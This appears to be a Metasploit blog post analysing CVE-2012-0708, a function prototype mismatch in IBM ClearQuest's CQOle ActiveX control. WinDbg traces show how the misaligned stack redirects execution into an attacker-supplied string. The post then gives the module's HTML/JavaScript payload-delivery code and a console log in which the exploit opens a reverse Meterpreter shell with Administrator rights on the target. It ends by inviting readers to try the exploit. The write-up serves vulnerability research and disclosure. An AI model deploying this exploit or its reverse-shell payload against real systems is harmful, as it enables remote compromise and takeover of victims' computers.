People often refer to exploits as your good old buffer overflows, but that's not always the case, as there are so many different types of vulnerabilities out there waiting to be found.  One exploit in particular, is the IBM Rational ClearQuest -- CVE-2012-0708 -- which we've recently added to the Metasploit Framework.  This module exploits a function prototype mismatch flaw in IBM's CQOle ActiveX control, discovered by Andrera Micalazzi aka rgod, and we figured the details are worth sharing.

The problem arises when you try to call the RegisterSchemaReporFromFileByDbSet from the ClearQuestOleServer.Session control (clsid 94773112-72E8-11D0-A42E-00A024DED613), and it has the following prototype:


Function RegisterSchemaRepoFromFileByDbSet (ByVal dbset  As String , ByVal filePath  As String)  As String  

Really the RegisterSchemaRepoFromFile is going to be called, where the prototype is slightly different:

 
Function RegisterSchemaRepoFromFile (ByVal filePath  As String)  As String 

There is a difference between these two separate functions. Even though they both are responsible for cleaning the arguments from the stack, the rets are different:

  • RegisterSchemaRepoFromFileByDbSet: retn 8
  • RegisterSchemaRepoFromFile: retn 4

With this in mind, let's review what happens at the assembler level when RegisterSchemaRepoFromFileByDbSet is called (from javascript as sample):

  • Because of the function prototype mismatch the similar function RegisterSchemaRepoFromFile (and not RegisterSchemaRepoFromFileByDbSet) is called:
 
Breakpoint 0 hit
eax=3190b1a0 ebx=00000000 ecx=06bf5cf0 edx=7835f5d2 esi=0013e200 edi=0000000c
eip=78371062 esp=0013e204 ebp=0013e2b4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
MFC80U!_AfxDispatchCall+0xe:
78371062 ffd0            call    eax {cqole!OAdSession::RegisterSchemaRepoFromFile (3190b1a0)}
 
  • But there are two arguments on the stack! The ones from RegisterSchemaRepoFromFileByDbSet!
 
0:000> dd /c1 esp L2
0013e204  0615b450
0013e208  0615b470
0:000> du 0615b450
0615b450  "dbset value"
0:000> du 0615b470
0615b470  "filePath value"
  • The ret from RegisterSchemaRepoFromFile is hit and it is going to clean just one argument even when there are still two arguments (pointers) on the stack:
0:000> g
(d7c.b54): C++ EH exception - code e06d7363 (first chance)
Breakpoint 1 hit
eax=01dae7cc ebx=00000000 ecx=a265eb6f edx=00070001 esi=0013e200 edi=0000000c
eip=3190b5d9 esp=0013e200 ebp=0013e2b4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
cqole!OAdSession::RegisterSchemaRepoFromFile+0x439:
3190b5d9 c20400          ret     4
0:000> dd /c1 esp L3
0013e200  78371064
0013e204  0615b450
0013e208  0615b470
0:000> du 0615b450
0615b450  "dbset value"
0:000> du 0615b470
0615b470  "filePath value"
  • Since the callee (RegisterSchemaRepoFromFile) has not cleaned the two arguments from the stack it is going be misaligned. Once back on MFC80U!_AfxDispatchCall its ret is reached with the stack misaligned and ESP pointing to the second argument of the intended RegisterSchemaRepoFromFileByDbSet call:
0:000> t
eax=01dae7cc ebx=00000000 ecx=a265eb6f edx=00070001 esi=0013e200 edi=0000000c
eip=78371064 esp=0013e208 ebp=0013e2b4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MFC80U!_AfxDispatchCall+0x10:
78371064 c3              ret
0:000> dd /c1 esp L2
0013e208  0615b470
0013e20c  7835f5d2 // It is in fact the legit ret address
0:000> du 0615b470
0615b470  "filePath value"
  • And there is where ret from MFC80U!_AfxDispatchCall tries to redirect EIP
0:000> t
eax=01dae7cc ebx=00000000 ecx=a265eb6f edx=00070001 esi=0013e200 edi=0000000c
eip=0615b470 esp=0013e20c ebp=0013e2b4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
0615b470 66006900        add     byte ptr [ecx],ch          ds:0023:a265eb6f=??
0:000> db eip
0615b470  66 00 69 00 6c 00 65 00-50 00 61 00 74 00 68 00  f.i.l.e.P.a.t.h.
0615b480  20 00 76 00 61 00 6c 00-75 00 65 00 00 00 2e 00   .v.a.l.u.e.....
  • The result with an string like the one before ("filePath value") is a crash when it is tried to be interpreted as code:
0:000> g
(d7c.b54): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=01dae7cc ebx=00000000 ecx=a265eb6f edx=00070001 esi=0013e200 edi=0000000c
eip=0615b470 esp=0013e20c ebp=0013e2b4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
0615b470 66006900        add     byte ptr [ecx],ch          ds:0023:a265eb6f=??

With this explanation in mind, exploitation without DEP is straightforward, just call to RegisterSchemaRepoFromFileByDbSet with an string containing the shellcode as second argument:

js_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(my_target.arch))  
object_id = rand_text_alpha(rand(8) + 4)  
dbset_value = rand_text_alpha(rand(8) + 4)  
var_payload = rand_text_alpha(rand(8) + 4)  
  
  
html = <<-EOS  
<html>  
<body>  
<object id='#{object_id}' classid='clsid:94773112-72E8-11D0-A42E-00A024DED613'></object>  
<script language="JavaScript">  
var #{var_payload} = unescape("#{js_code}")  
#{object_id}.RegisterSchemaRepoFromFileByDbSet("#{dbset_value}", #{var_payload});  
</script>  
</body>  
</html>  
EOS  

And then of course, we finish off the vulnerability with a shell:

msf  exploit(clear_quest_cqole) > exploit 
[*] Exploit running as background job. 

[*] Started reverse handler on 192.168.1.157:4444 
[*] Using URL: http://0.0.0.0:8080/zCEVdD
[*]  Local IP: http://192.168.1.157:8080/zCEVdD
[*] Server started. 
msf  exploit(clear_quest_cqole) > 
[*] 192.168.1.133    clear_quest_cqole - 192.168.1.133:2340 - Sending html 
[*] Sending stage (752128 bytes) to 192.168.1.133 
[*] Meterpreter session 3 opened (192.168.1.157:4444 -> 192.168.1.133:2341) at 2012-07-08 20:41:23 +0200 
[*] Session ID 3 (192.168.1.157:4444 -> 192.168.1.133:2341) processing InitialAutoRunScript 'migrate -f' 
[*] Current server process: IEXPLORE.EXE (3380) 
[*] Spawning notepad.exe process to migrate to 
[+] Migrating to 4028 
[+] Successfully migrated to process 

msf  exploit(clear_quest_cqole) > sessions 

Active sessions 
===============   

Id  Type                   Information                                      Connection   
--  ----                   -----------                                      ----------   
3   meterpreter x86/win32  JUAN-C0DE875735\Administrator @ JUAN-C0DE875735  192.168.1.157:4444 -> 192.168.1.133:2341 (192.168.1.133) 

msf  exploit(clear_quest_cqole) > sessions -i 3 
[*] Starting interaction with 3... 

meterpreter > getuid 
Server username: JUAN-C0DE875735\Administrator 
meterpreter >

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions.